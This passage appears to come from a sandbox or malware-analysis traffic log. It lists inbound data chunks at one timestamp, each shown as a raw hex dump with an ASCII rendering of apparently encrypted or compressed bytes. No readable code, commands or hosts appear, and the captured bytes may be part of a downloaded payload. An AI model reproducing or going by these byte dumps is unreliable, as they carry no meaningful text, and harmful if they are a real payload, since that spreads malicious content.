40 77 79 69 92 bd dd 29 ae 98 c2 da 37 d6 ac f1 21 56 9a b4 3a a4 9b 4f 40 65 2d 08 60 30 22 6c 5a da 06 41 bb 72 81 1d Data Ascii: GV~a9dxJdM>t}tw7%a+DhE^5F>1pf$3}oT.$VkIJYN@nH9Qb<QQQ+7.A[Q@2p(Fu`bE'cq/'S^?n@wyi)7!V:O@e-`0"lZAr
2021-12-28 04:19:41 UTC	1313	IN	Data Raw: 46 b0 3c 92 4b 43 1f 2e 7c 04 48 9b d8 eb 96 ff c8 87 25 03 31 ba 91 7a cf dd 57 74 41 0b 21 99 77 43 c6 3a e8 37 fa 1c f8 43 f5 19 ed 0a 41 9d ac d1 35 b2 c9 df 6d 6a 58 cc 74 80 88 59 12 4d 3e 29 98 37 d6 d5 08 af 52 ff cd 78 14 12 2f 5f 6c b3 4c 8e 1b 02 27 6b ed ed cd a9 91 eb 19 92 0f 7a 60 06 70 ee fd 02 06 a2 b9 e1 bb 54 00 6d 34 d4 b4 e8 fe 05 68 96 9a 6e e4 91 f1 3c b1 05 6e 93 80 a7 d4 d9 49 49 86 d6 4c de 24 19 e3 5a 55 aa f8 d0 ba 53 10 c7 de 8c a5 53 d4 c5 95 76 aa 0d 57 90 23 5f 60 e4 38 5c 13 72 d6 bd c5 ad df 8f bb 91 aa ee f5 0f 8d 6d 68 0c d3 de 5d 4b 45 95 88 0c 11 30 03 f3 2c 11 af 9c 8b dc af e8 ac 6a 1f 41 30 33 a3 b5 f2 d1 91 41 b8 3e 5d 09 11 c5 2a 23 9d 09 56 d5 6b 14 28 76 e5 de 30 be ec ff 2e 94 db db f3 73 d4 d0 c3 61 2b dc ac Data Ascii: F<KC.\|H%1zWtA!wC:7CA5mjXtYM>)7Rx/_lL'kz`pTm4hn<nIIL$ZUSSvW#_`8\rmh]KE0,jA03A>]*#Vk(v0.sa+
2021-12-28 04:19:41 UTC	1329	IN	Data Raw: 68 5f 1a 79 83 65 59 12 e4 72 64 8a 76 1f a3 97 9e 48 e4 97 1a b0 85 55 a1 80 3a a0 50 eb 43 5f 76 32 45 02 fc 6f 44 b4 96 b6 28 2d 53 c2 c6 61 ca 56 e9 14 e1 24 33 b4 0f f3 18 32 e9 7d 73 98 6f 94 bd b6 e0 5f f7 e7 af 34 c3 30 18 18 d0 a2 f3 e8 ca f5 66 ba d5 48 c6 4c 8a 1a 5d 63 d3 c0 db ca 65 2d 14 c8 7a 81 55 67 8a a2 97 39 0c a8 60 2a 82 a5 27 d9 a6 e2 ba 70 66 e7 5f b2 8c 50 ff d5 d0 16 0d 79 d5 66 e7 2c d1 26 f3 50 38 36 6f fd 2e 12 12 a2 d7 07 a7 53 e8 29 18 53 8a 89 70 80 af f7 89 25 1d f4 e7 9c 48 1b 64 e7 80 65 9d 06 c7 d1 c0 b0 9b e3 f2 30 c7 db 13 68 7a 14 92 64 87 64 82 ef 14 cf 01 20 24 90 7f ed a7 ae 99 f1 ed b2 86 45 42 a0 35 4d f2 32 d8 18 70 d0 f1 45 4f d0 1c 4b a0 04 3a 98 ee 0a b4 16 56 34 30 7f c5 54 99 1e 30 df d4 6e 8c e0 2c e8 ce Data Ascii: h_yeYrdvHU:PC_v2EoD(-SaV$32}so_40fHL]ce-zUg9`*'pf_Pyf,&P86o.S)Sp%Hde0hzdd $EB5M2pEOK:V40T0n,
2021-12-28 04:19:41 UTC	1345	IN	Data Raw: 60 29 23 b3 d3 95 5b ef df 82 8b aa 77 74 52 74 5f df 78 2d d0 77 1b 5a e2 c7 7e 58 fd 7e 12 14 dc ab f1 dc 81 28 39 2a 54 74 54 db 72 60 95 7e 0c 0f 7c e7 3d 0c a7 f7 a3 b8 b7 ba a0 f5 c0 81 90 9b 09 61 a3 b2 4a f2 4d 2f dd ec 2b b1 17 a7 6d 6d 86 90 98 7d 9d e6 75 ee 31 3d 99 7e 06 48 61 d4 6d c0 ce 14 0a 64 b5 e4 0c d6 6a 70 c8 b1 6e 46 e9 0b be 1c 23 11 c8 a2 14 50 87 6a ad d8 4f 61 2f 19 3d 6e 89 af 63 dc 90 d0 04 0e 13 6d 01 c2 af 92 da 5e 92 40 c6 d6 8d b6 3e 38 f3 7f 44 d7 97 77 e2 32 0b 63 3c 23 50 2d 14 d8 20 09 94 d7 d9 4b 5a d9 16 ec 67 39 f9 7a 3c 91 9f 45 25 00 18 8f 6a c0 d9 24 06 1e 4e 9a c3 7d 81 54 77 11 c4 6c 59 20 e8 20 f8 36 67 f6 53 68 28 da 7a 42 39 50 01 0a 0b 81 5f 10 f9 c4 fa bb 70 8c aa b5 d7 e5 6b 2b a7 bd d6 ba f8 29 af 75 f7 Data Ascii: `)#[wtRt_x-wZ~X~(9*TtTr`~\|=aJM/+mm}u1=~HamdjpnF#PjOa/=ncm^@>8Dw2c<#P- KZg9z<E%j$N}TwlY 6gSh(zB9P_pk+)u
2021-12-28 04:19:41 UTC	1361	IN	Data Raw: b5 60 48 49 25 46 74 7b 78 7d 46 14 fa e5 9d 88 75 b1 65 39 2d 68 c4 bf e8 37 4e f9 80 83 85 c6 2f 64 ea 11 47 da ef de ae 9c 7e bc 17 13 b1 20 7e 61 c0 8f 38 cf 0f 71 85 f9 b6 57 74 c5 f6 71 36 61 69 a3 07 79 69 d1 8d 63 1a a8 cf b1 b7 3e ee d7 27 27 91 0b ab 1f 5c 59 ff 41 5b 80 9c 38 f1 cb db 64 52 eb 85 fe b5 37 44 04 5e a6 cb 0a 70 9a 29 c2 3b 5f bf ca 06 b4 e9 69 1c 76 71 f0 1d c3 65 6d 9b df 5b 87 b9 14 39 2b 67 a0 b6 67 9c 13 99 09 c7 ab e9 f9 70 4a 31 d7 a4 2f a7 a4 df d0 dc a2 65 1d 27 9b 50 50 98 47 38 cd 74 82 65 3b 81 0c 1d e5 37 cd 2b 71 f6 6e 9a 72 d5 8f 3c 2b f8 09 3f 82 37 7b da 4e b7 8b 12 23 84 12 92 a5 b7 89 4f 85 00 18 eb 99 58 8d d9 df d7 ce 78 47 51 20 94 0b 22 79 1a 79 bc f4 37 7b 31 ca f7 02 c9 60 11 0d 40 c3 55 54 ae 33 99 cf c4 Data Ascii: `HI%Ft{x}Fue9-h7N/dG~ ~a8qWtq6aiyic>''\YA[8dR7D^p);_ivqem[9+ggpJ1/e'PPG8te;7+qnr<+?7{N#OXxGQ "yy7{1`@UT3
2021-12-28 04:19:41 UTC	1377	IN	Data Raw: 95 70 2c 84 9f 83 98 4b aa 6f f9 b0 1b 96 b4 07 97 60 75 35 64 a8 09 96 df cc c4 10 6f f3 d0 cc e2 1c 2f 4d 41 4f b2 54 ac 3c 87 fd 92 38 e8 56 71 b1 cf d5 df 4b a1 a6 20 19 d2 0d bc 22 70 6e 5d c1 7e 1b 7c 0a 6f 51 f5 39 09 61 8b ae 39 f0 e8 ff b1 d0 57 d0 37 53 33 f6 15 ff 1c b5 f5 2e 70 3b 8a e2 5e a9 f0 27 49 b1 bc 7a 38 af 50 50 d6 9b 54 9e c7 ee 9a 25 f0 78 00 4b 1d 19 f3 6e 28 5f ab 0b df c5 47 e2 f2 13 9b a1 60 2c 00 67 a8 ee d3 b0 65 dd 8a f6 b2 4d 81 3d 49 86 d8 6b 31 e2 98 83 69 30 ca 30 ae 33 e0 4a be d1 0a 3d f7 0e 02 23 25 b3 1b c5 b5 35 32 9e 6f 90 64 83 57 de 4f d2 28 09 ea 34 37 98 da 0b 93 f7 ea bf 85 47 e5 22 fa 31 d1 6f be b5 78 66 14 90 3b 46 46 48 39 9f 7a 01 bf 14 79 71 ee 3b d7 3f b5 76 df c6 fa aa 47 74 d6 2f 8e 3f a0 18 ed 71 16 Data Ascii: p,Ko`u5do/MAOT<8VqK "pn]~\|oQ9a9W7S3.p;^'Iz8PPT%xKn(_G`,geM=Ik1i003J=#%52odWO(47G"1oxf;FFH9zyq;?vGt/?q
2021-12-28 04:19:41 UTC	1393	IN	Data Raw: ec 43 ea d3 de 1e 83 0c 54 8a 28 14 6f 0a 3a 8b f4 7c 98 e3 05 bd b3 cd 92 aa 21 64 16 20 44 02 5e e5 c2 cc 92 ac e3 cc 29 8b 40 bd 5e e5 86 46 9f 36 e8 75 1f d5 a6 4e 7d 88 1b 05 df 22 f5 95 2a 25 99 9e 2e c6 ee 58 cc db c5 e5 b7 9e c4 17 66 de 52 e8 75 65 62 d7 d4 aa 0f a9 2e c4 ba 74 e9 82 5a 8f 6d 6c df 53 83 d5 90 bd cc 4a cf e9 35 b1 b3 9d f5 98 3e 55 09 c8 d3 93 86 be a5 ed bc 8d dd 0b 9e 64 20 50 57 99 24 68 8a 70 71 12 cc ff aa ea e5 fa ee dd d4 fd 34 81 ab 18 86 4f ab 43 29 8b e2 13 50 b4 7f cd 00 25 40 d4 05 73 d2 4c 75 d5 40 04 b0 07 de 7d 74 6b eb 60 1a 15 2e c6 10 f9 64 34 b7 6b ef 2a b3 1d 99 d1 ba 20 2d a7 a1 3f 45 89 e2 c9 01 a9 3f 98 9c 13 d7 a0 d7 95 93 28 e8 75 5b 82 ca dc a9 d3 e6 91 2b 6e ab 70 71 63 c6 61 c4 14 02 ee 4b be b0 c8 4e Data Ascii: CT(o:\|!d D^)@^F6uN}"%.XfRueb.tZmlSJ5>Ud PW$hpq4OC)P%@sLu@}tk`.d4k -?E?(u[+npqcaKN
2021-12-28 04:19:41 UTC	1409	IN	Data Raw: fe b0 68 93 8e 87 7d f3 0c be b0 43 7b 3f 40 2c dd 67 d3 f5 5a 6a 53 fc 4b 40 c9 8c 66 d5 33 c4 11 c4 59 8a 48 14 d7 3e 2f 5b 80 85 d0 c8 53 46 ec 06 75 e6 01 7c 12 31 e2 a8 66 13 4f 6f 11 06 c5 6c 0e 11 89 d7 21 0a 8a 19 3d f7 cb ef e2 53 a6 b8 c6 93 33 01 8a 18 c7 8d 80 8d 69 54 d7 dc 07 50 a1 be 3b 49 84 39 94 0a ec 0e 40 2a 1c 98 4b d9 18 43 76 17 1b e1 3a cc 4a 8f ea 28 ad 86 a7 fa 71 06 a9 eb 09 4b 84 76 9a ab 84 95 14 63 95 b2 47 f5 2b 80 44 30 b1 52 5b 00 ad 02 bb 36 38 5b e2 72 ad 2c 04 a3 2a df 8e a1 1b 2b a5 94 e5 f9 86 4d 66 29 a1 d2 7a 47 b4 47 9a 4e d6 85 cc 23 10 02 19 2c 3a cf df 1f cb 4a 2e d4 87 f8 fd 84 71 8d 90 a6 60 34 fe b9 a3 55 51 eb 23 88 ec 59 58 89 81 34 a3 ca 2e fb 64 5e 8c ad e8 bb 85 52 77 4a 70 08 81 2d 2c 23 4b c0 70 06 cd Data Ascii: h}C{?@,gZjSK@f3YH>/[SFu\|1fOol!=S3iTP;I9@KCv:J(qKvcG+D0R[68[r,+Mf)zGGN#,:J.q`4UQ#YX4.d^RwJp-,#Kp
2021-12-28 04:19:41 UTC	1425	IN	Data Raw: 1d bb c5 19 47 81 c1 66 b5 06 3e 20 82 95 78 03 ce 05 24 2e be 70 50 a7 21 4b 0c 7b 48 e9 e8 98 ae ac d1 69 7a 93 5a ba 01 0a e9 0b de 33 7e bb c2 0c 8a 01 1b 06 26 07 b4 03 27 f4 89 f2 50 c8 3c 2c b1 cf ac d2 3c 14 f7 c3 ab 5e a3 31 f7 06 9c be 9f 93 93 3a 39 94 4b 0c c5 29 dc 10 02 38 2c 2a 7b 54 48 c7 7d 25 95 da b9 f5 16 83 2b 45 d1 03 04 37 7f 98 25 68 7c c0 7a a2 c1 02 24 0d f3 73 09 eb 85 8e 41 d6 0f 67 10 17 7b 10 11 9a 26 27 d1 8d 94 69 04 ae 77 c1 d4 89 e5 6d 40 50 c8 56 cd 56 6e 31 1a 45 9f 3b 26 fc e0 92 3c 95 e2 e4 55 e3 be 74 31 37 fb 76 f6 29 fa 40 b8 46 85 a5 65 33 1b 5f e4 17 b6 77 f4 f1 29 ec 7b a8 8e 20 ef 7a 2e 69 47 b6 e0 c5 36 88 a5 17 75 07 19 b5 fe 25 f0 af 76 1e 28 ca dd 9f 23 a9 59 9b 57 07 1e aa 33 b3 65 2c 6a 87 b8 7a d9 36 87 Data Ascii: Gf> x$.pP!K{HizZ3~&'P<,<^1:9K)8,*{TH}%+E7%h\|z$sAg{&'iwm@PVVn1E;&<Ut17v)@Fe3_w){ z.iG6u%v(#YW3e,jz6
2021-12-28 04:19:41 UTC	1441	IN	Data Raw: 5d 4b a7 6e 16 fd a2 a0 90 5f 51 c0 4c 9f 41 45 c4 4d 23 d6 69 80 17 3f 75 ff bd e8 86 37 62 35 b3 08 4d 88 c8 27 2a 0d 5d f0 d1 d1 74 f2 14 21 c4 fd 2f cb d0 02 27 6d 72 ff 75 31 f2 be 16 e7 9c 42 56 a8 a0 39 64 15 44 31 29 af b6 20 a6 c2 80 4f 84 2c 3f 2d 91 b4 9a b3 dc 83 83 90 6d 98 c2 b4 0d 92 a5 b9 2f 17 c9 ef b2 8a f2 6f b1 42 84 ab 45 2b 1f 67 5a ed 85 9a 30 2c 14 50 70 fc 64 8a 9e 98 72 79 b2 7a d6 13 f7 bc 96 7b 17 3b 9b 56 37 1c da 2d 46 48 4a 23 6f 4d 55 57 1c f1 f4 bd 2b 04 89 70 31 3d ec 1d c4 85 bc 0f dc a9 db 2b 00 6e 91 05 c4 b9 73 5c 4f f0 12 9e 10 e9 ca 6e b2 ae b8 08 22 c9 ab ad 8d 02 d8 78 df 0c 63 d7 b9 dd 6a 49 eb ad a7 b8 84 55 aa a2 8d 44 3c 42 5c 02 12 ed 73 b8 ca 0c ca c8 5e 14 ca 99 57 3f ba 8f b3 68 77 1e 87 c0 36 43 9d ec 94 Data Ascii: ]Kn_QLAEM#i?u7b5M'*]t!/'mru1BV9dD1) O,?-m/oBE+gZ0,Ppdryz{;V7-FHJ#oMUW+p1=+ns\On"xcjIUD<B\s^W?hw6C
2021-12-28 04:19:41 UTC	1457	IN	Data Raw: 1b 7f 1d 9f bc af 92 2d 2a a6 27 c9 69 c6 3b 91 2e 93 29 fa b6 34 48 85 8b 32 28 e6 3c 23 8f 34 35 13 b1 53 f1 b3 35 85 a7 33 31 8d dd ab 71 be 67 9b 43 07 fd 34 a8 62 07 a5 62 dc 5b e4 5a 68 36 e8 89 d7 f4 f9 15 5a 90 ff ea 2b 2c 39 73 6a 77 bc 5e 93 59 44 20 a3 78 e2 3e af 47 49 1d 32 0e a2 27 ea 65 08 f3 51 0d c9 f3 9a 75 a9 6e 09 de 21 05 ff 1d 49 33 c9 f5 31 e0 61 20 50 63 95 15 d3 38 66 2d 2b b6 75 c6 24 a0 16 ef 96 ab 29 da 00 b3 a8 ef 44 4c 41 f3 72 5b be 79 e7 b8 b0 41 81 57 4b 85 ff c1 b0 db b0 87 5e cd 33 c8 7b c4 5a ca 12 98 14 ec 71 e8 2b c1 70 7a de c5 a0 5c 41 3a 65 46 0a df c2 6f b8 83 fa af 6b 26 2e 85 bd 3c 47 7f e0 e3 c4 f6 ad 9e f9 5c 91 2c 7a 5e 96 ff 08 75 47 24 aa 1a 50 72 dc b2 9b 4f ef f2 ed b6 73 5d c6 11 5f 09 20 11 ed 5c b1 f0 Data Ascii: -*'i;.)4H2(<#45S531qgC4bb[Zh6Z+,9sjw^YD x>GI2'eQun!I31a Pc8f-+u$)DLAr[yAWK^3{Zq+pz\A:eFok&.<G\,z^uG$PrOs]_ \
2021-12-28 04:19:41 UTC	1473	IN	Data Raw: e6 76 4a 5c 6b 4d 78 cb 99 96 d7 7d 88 68 d4 d6 7b 3c 8c 11 e7 09 36 86 19 2c e1 e6 27 90 1f 75 cf db 40 1f d0 da 92 a5 17 ee f1 54 56 4c c6 cb cf dc d0 cd f1 a4 83 33 81 d5 2f 72 75 7f 77 13 86 c7 27 8a 31 8d 93 8b 0f 79 cd a1 8e 90 67 a6 3f 3e 68 b5 f6 2b 10 d8 bd 64 06 71 67 ba f5 3a f4 5b 10 85 b6 6f 4a d0 6f 3c 80 a2 70 9b d3 48 04 c7 e1 df b6 cb 6e 4a 47 b8 fd b5 2b 81 b5 d0 1a 45 0c 38 2e ea 1b e0 19 d0 84 13 c7 e8 01 25 12 e9 d8 2a 21 93 8e da 72 13 12 5e d4 6a 49 72 36 5a ee 65 35 c8 43 ef d3 6e 0f 11 b7 6c b3 cc 4d 02 3d 32 3e 7b e9 55 99 dd 07 36 c0 f6 35 a9 ea 57 f2 fd 81 e1 7d 68 e7 9b ab 78 3d 87 86 b7 35 3c 6d f2 c9 3a a6 d5 92 2c 60 16 8f cb 07 76 b8 e9 3e 34 f0 c5 c5 e2 01 12 92 1e 42 79 f2 28 57 1a ab 1d 2d 62 d4 fb e6 4f 38 e1 3d cc bd Data Ascii: vJ\kMx}h{<6,'u@TVL3/ruw'1yg?>h+dqg:[oJo<pHnJG+E8.%*!r^jIr6Ze5CnlM=2>{U65W}hx=5<m:,`v>4By(W-bO8=
2021-12-28 04:19:41 UTC	1489	IN	Data Raw: 65 7b d6 a5 d7 0f bf d3 0d 23 48 a5 97 0d d2 3b 66 3c e8 b3 0e 73 05 be e1 d6 a0 3c 95 71 8b 8b cb 6c 13 5c 3a 44 de c0 4e 40 e8 ab 8e 38 28 ab e7 6e 49 c7 17 18 26 85 a7 88 74 b8 df 76 a0 b8 1f a5 79 7a ca c1 52 a3 6a 2b 0a 82 5f c5 d5 65 d7 c9 9e 06 cf 94 ff 03 2c b2 6c f8 46 5e 2c 62 a5 a8 c8 8b b6 30 91 be 51 bd b8 a6 f0 55 d8 4e b5 c0 83 97 08 5b 2b b0 2b 1a d7 d3 c2 95 9e c2 de 62 2b bb 8f c8 5f a8 7c 3b 93 1a 95 1f 3c 03 49 80 f3 98 f5 4e 9f b4 17 db 79 e5 6e e4 83 8c 6b 01 b0 f3 0a 34 83 d6 25 2c 16 ce b7 ce de 62 18 2a 32 c0 42 f7 25 30 47 19 84 0a 27 df 82 03 08 4a ee 66 fe d8 d1 01 82 e6 77 b9 f0 89 ba 4e 74 a2 00 78 a8 ec 7b 24 7f 8b 28 17 fc 50 63 22 67 52 98 c6 e1 f2 be 11 62 a9 7b ab 44 81 73 71 8c e0 8c 65 6e e1 a2 99 b9 0a e2 ab f9 6c 37 Data Ascii: e{#H;f<s<ql\:DN@8(nI&tvyzRj+_e,lF^,b0QUN[++b+_\|;<INynk4%,b*2B%0G'JfwNtx{$(Pc"gRb{Dsqenl7
2021-12-28 04:19:41 UTC	1505	IN	Data Raw: d0 48 33 a7 b1 64 8e 8f d3 db 51 46 65 1f ec 42 24 30 a7 c7 ab f0 89 80 bb 88 56 e1 57 80 36 4b e1 5e 3c 94 e9 47 2b cd a6 79 5f 63 38 6e 1a 8f 2b c1 3f 04 ee 40 96 d4 9d fc 1f 15 0d ce 2a be 2e 8e 80 f2 a9 4c 32 59 46 1e 7a b8 63 13 e6 41 31 65 e3 3d 2a 9c 84 d7 12 85 6d 25 9c 30 a3 d8 ef a4 73 d5 f9 16 b0 37 39 7d 4d 18 c7 94 05 29 e2 69 4f 2e 9c 1f 57 d9 8c 0c 36 8e 4e 54 7e 41 97 ad 27 cc 59 51 ce 13 45 07 3e 85 36 c0 6b 45 64 62 01 b9 ee 2c 43 be f4 c6 20 22 70 9e 33 86 f7 79 32 38 af a9 e4 c6 a1 d7 8b 71 fc 04 1a e9 ca 0a 6f e0 af 49 19 8f 90 5b e6 ce ec 2c 62 74 18 56 17 3a 2b 1b 8d 30 d8 69 f3 52 ca 7d 92 ea be 5e 93 59 55 b0 d5 73 c2 a1 8a 56 30 99 fa 1f bb 53 d3 38 43 74 1c f0 46 2d 8c 5b a6 25 28 a9 3f d2 a7 aa a4 08 ea cf 50 84 19 70 b1 64 96 Data Ascii: H3dQFeB$0VW6K^<G+y_c8n+?@.L2YFzcA1e=m%0s79}M)iO.W6NT~A'YQE>6kEdb,C "p3y28qoI[,btV:+0iR}^YUsV0S8CtF-[%(?Ppd
2021-12-28 04:19:41 UTC	1521	IN	Data Raw: 57 58 a2 95 ea a9 5b e0 07 4c 0a d5 d1 3b f8 28 4b 5c c5 c4 8f c3 23 fe 22 c6 24 98 24 77 f7 55 aa 04 71 88 ab 6e 2f 3a 18 0b 27 6e 74 92 2f cf 67 d2 2b 04 52 a5 46 c4 c7 9d eb dd 8a c1 13 c9 b9 6b 27 57 fe c0 d0 b2 0a 06 66 c2 a2 94 ae 1a 81 ee 70 e2 f0 34 db 8c 25 d7 62 00 6b 52 c2 72 ec 26 46 e9 3f 2d 96 51 23 fe 58 59 63 4b f7 2f 28 72 ac f4 cc 73 f7 aa c3 3a a8 f1 69 ea f1 dd c8 e7 5f 6c 1e 17 ac 14 2a 97 a5 d0 5e 32 f3 de 13 b8 7e 83 dc 3a 41 71 5c a4 49 70 96 a5 23 23 ad 5b 3b 8d b1 51 f7 1c f7 08 05 ed bb 7d 3b a6 8d c0 de f8 a0 15 bc 3e 9c 4c 4b 43 29 6e 38 d8 7b 2c b5 0e 2f 5c a4 c3 63 72 b9 d0 16 57 c6 c9 a5 7f 25 7e 0f 05 32 dd 7f 2c 4f 99 8a 2b 80 f0 e9 40 3e cc 0f 38 5e 09 5b fa 92 3e 27 cd 84 58 b8 da 54 b9 c9 fd 49 a8 a6 6c b7 d9 98 b9 42 Data Ascii: WX[L;(K\#"$$wUqn/:'nt/g+RFk'Wfp4%bkRr&F?-Q#XYcK/(rs:i_l*^2~:Aq\Ip##[;Q};>LKC)n8{,/\crW%~2,O+@>8^[>'XTIlB
2021-12-28 04:19:41 UTC	1537	IN	Data Raw: 8e a1 09 97 42 2a ed f0 1c 83 dd 8d 97 33 4e a6 73 ec c3 2b 36 fe 48 1f d4 df 1e 19 1b f0 13 30 bb 65 9e 68 44 25 25 17 97 cd 01 47 be 0e c5 c1 74 37 92 98 62 4e cf 7e 32 57 07 0c f3 8e a5 13 df dc 65 99 5b 65 18 f2 ba b6 e8 8d c8 cf 0e 5c 11 af b4 58 43 52 d2 59 90 f7 a9 0e 49 b6 9b 30 ec 0a 88 b6 8b 2e fd 47 99 20 95 5f bc 0a 40 90 6d fe f3 e7 5b 4b af dd 57 24 fc 6f dd 45 4c b7 0e d1 d7 ab 70 67 c1 df 51 ee 51 63 bb c3 4e 94 bb 6f 08 38 81 2f cd 95 89 6b 65 2c 29 9e 1c 0b b4 63 dc 42 8b 04 d1 15 17 ec 9e 09 25 67 67 7c 23 f9 67 73 f3 bd e6 48 e6 86 50 d6 ef 9e ae ad 25 a2 d8 ad 43 1c e8 9c d1 91 0f ab 26 ab 6d 7b 76 d0 ac 3a c4 84 40 2e 0a 55 63 e7 d9 26 bf ec 73 08 07 9d b8 f5 0a 4c ca bf b4 78 41 7c 59 e3 63 66 40 0a 92 92 53 59 31 45 14 64 83 8c ec Data Ascii: B*3Ns+6H0ehD%%Gt7bN~2We[e\XCRYI0.G _@m[KW$oELpgQQcNo8/ke,)cB%gg\|#gsHP%C&m{v:@.Uc&sLxA\|Ycf@SY1Ed
2021-12-28 04:19:41 UTC	1553	IN	Data Raw: b4 69 bc 02 62 e4 e6 1a 45 0a b8 52 cf 7d cf 0a 55 b5 29 ba 2d d7 a7 5c 21 8f 9b bc 73 b4 da 5b 3d 0a 48 90 e9 69 62 1a 11 71 39 d5 10 46 2e c1 b9 91 ab 06 31 35 19 6e 00 3e a7 fc c4 3a d7 24 35 9d 66 e9 4c d8 4e 25 14 83 a2 2e ae 2b 26 f2 fe b2 07 0c e8 28 d2 b8 b8 e2 31 51 5b c5 bc ab 88 cb 87 d5 17 18 de 8b a2 c4 53 eb cd 0a 0f 92 f0 91 ca 64 13 d5 84 e9 42 ac fe 4a b1 5e 3d 4f 53 1e 2a f8 f8 69 00 d5 e2 fc d4 28 43 0d 8a 2e e6 ee 00 7d 84 33 ec 99 65 af 99 91 82 dc 0a 72 a9 d0 14 93 f8 9e da 63 21 55 8f d8 2e 0e c9 cd 54 e6 6d ae 9d 27 42 83 c1 6b a4 61 be ba b8 b3 4b f6 6f a9 61 1a 0f 3e 78 2b 93 02 3d 66 61 5e 0d 9c 40 6c 5a 0e 3c 0a ca 36 32 1b 0d f0 35 8f 81 5c 3b fe e0 36 0f ad 45 48 f6 bd 91 03 9f d6 8c c4 4f d3 01 83 de 04 24 ff 36 f1 c8 79 0e Data Ascii: ibER}U)-\!s[=Hibq9F.15n>:$5fLN%.+&(1Q[SdBJ^=OS*i(C.}3erc!U.Tm'BkaKoa>x+=fa^@lZ<625\;6EHO$6y
2021-12-28 04:19:41 UTC	1569	IN	Data Raw: 70 20 99 1d ad 55 80 68 d0 b5 64 05 8e 7b 46 50 21 58 98 5a a5 1c 4f ac e3 32 a8 fb 3f 3f 01 b8 ea 52 80 af 98 4a ea e6 fe dd e7 3f 2d 24 f7 73 28 26 2f c3 57 cd 2f 8a 1c e7 a2 02 01 23 8b 4c 42 4f c4 c0 f3 fa 0e bc 5e ce a9 09 02 12 3c 20 14 07 1e 9e 10 db 53 f9 f7 13 c3 65 31 aa bc 4b 61 e0 03 3b 73 1c 09 e9 3a f9 57 ec 35 4c c5 8f 55 c9 25 af 22 07 be d3 84 82 e5 8f a3 20 2f 0b 77 94 45 eb f4 60 37 90 8d 37 b4 c3 51 dd 3d e3 9e f3 f5 3c bd 70 ac 45 76 6c 3c ce 55 99 17 e3 69 00 98 9f 42 25 21 59 41 f9 e4 e7 46 7c 49 b6 8c ae 5b 2c 41 17 ce a2 0b 45 5a f4 3d 02 ad 89 c3 e8 1c 6a f4 a3 ea 27 ae 54 cb ea 2c db c9 33 4f 1a d1 c4 e5 cc 28 64 80 5e d8 4d 8c 10 ca 25 32 d4 e6 64 4f 1f c3 f9 69 91 e2 88 e6 34 2c dc f1 e0 d1 69 af a5 a2 90 f4 6c 5e aa 34 24 3b Data Ascii: p Uhd{FP!XZO2??RJ?-$s(&/W/#LBO^< Se1Ka;s:W5LU%" /wE`77Q=<pEvl<UiB%!YAF\|I[,AEZ=j'T,3O(d^M%2dOi4,il^4$;
2021-12-28 04:19:41 UTC	1585	IN	Data Raw: bc cd 4f 64 d4 c2 9a 83 02 68 7b 1b 19 45 c9 48 2d e4 de de 4f 1e 56 c9 7f 98 8a b8 bc f5 07 59 7a 52 72 d1 07 d1 88 b0 81 ac 60 31 80 76 a9 31 69 99 95 dd ae a3 07 bb 23 f7 0f b5 64 fb b4 1c 17 0a e3 31 fb e3 cb 4b bb a8 63 1a f0 c4 22 66 5d b7 61 d1 6d a5 83 e4 2c 11 c4 97 65 94 2f ef 77 1e c3 10 e3 46 f6 20 57 39 b5 eb 86 9e 2c 4f 96 5c 7a 1b e7 60 06 70 24 eb e1 bf c7 a8 d2 e6 96 bb 47 29 ad 5f c5 65 17 ee 13 f7 23 8c ba a1 ff 0c ad 3c d6 a7 fe 88 8f b5 8b ca 60 ea 84 21 b3 4a 96 66 ee 23 80 36 f2 79 8f 49 d8 ee 54 63 34 a0 79 06 51 53 eb b9 de 0b 5b 22 4a b2 76 3e 14 48 d6 54 d8 46 e7 da e5 e7 ac f7 9c 97 c7 a4 39 12 cb 1a 65 04 10 14 d1 c7 6c d0 15 71 ab 7e f2 65 72 bf 86 b1 d4 3e e5 e2 4d c0 ca e0 62 cf d4 6b cb de 1e fb f1 28 8d 86 1d 6f 76 b3 b4 Data Ascii: Odh{EH-OVYzRr`1v1i#d1Kc"f]am,e/wF W9,O\z`p$G)_e#<`!Jf#6yITc4yQS["Jv>HTF9elq~er>Mbk(ov
2021-12-28 04:19:41 UTC	1601	IN	Data Raw: b8 8f 67 80 c5 c7 b0 45 24 74 0e a4 9b 06 e7 fc bd 70 4c f2 99 65 0f 87 49 d7 8a b5 a7 bf 1a 8d 86 e8 c9 ef a3 e6 ad 0e ad 8e d4 27 60 62 3a 1b 3e 97 8a 4e bc f7 92 70 9c 3a 8c b3 e6 51 71 af 72 d3 15 87 44 d0 9e f9 33 70 8a f8 18 c1 54 89 3d 12 ec 3a 08 71 89 46 2e 0b cc c6 0d 6d 48 54 71 bb 01 7c 23 6b 06 91 37 42 0c d7 bb b1 89 da 77 b3 7b ec 15 4c cd 38 fa bf 3a c9 b0 4d f4 58 a8 95 20 cf 4b 34 42 72 5f 20 d2 0a cd f9 f4 3f ae c0 fb e5 26 5f 1a d5 42 49 d8 22 5b ad 52 10 9d f6 d5 dc 00 44 d0 81 bc 1d bc c4 0b b1 7b ad 90 1b 8f 10 e9 d7 f4 79 ff 70 bb ae 38 0a 88 b7 48 e3 96 00 9a cd e3 ae ca 6b 8a 87 d4 68 e8 62 72 b7 7e 62 a0 56 68 b1 2a 3e dc 6c 1c e7 2d 20 9b f5 84 b8 48 c1 82 40 75 a7 dd 0c b5 b3 6e 15 26 a9 fa 25 a6 4d c7 ce f4 5a 51 73 32 4b b3 Data Ascii: gE$tpLeI'`b:>Np:QqrD3pT=:qF.mHTq\|#k7Bw{L8:MX K4Br_ ?&_BI"[RD{yp8Hkhbr~bVh*>l- H@un&%MZQs2K
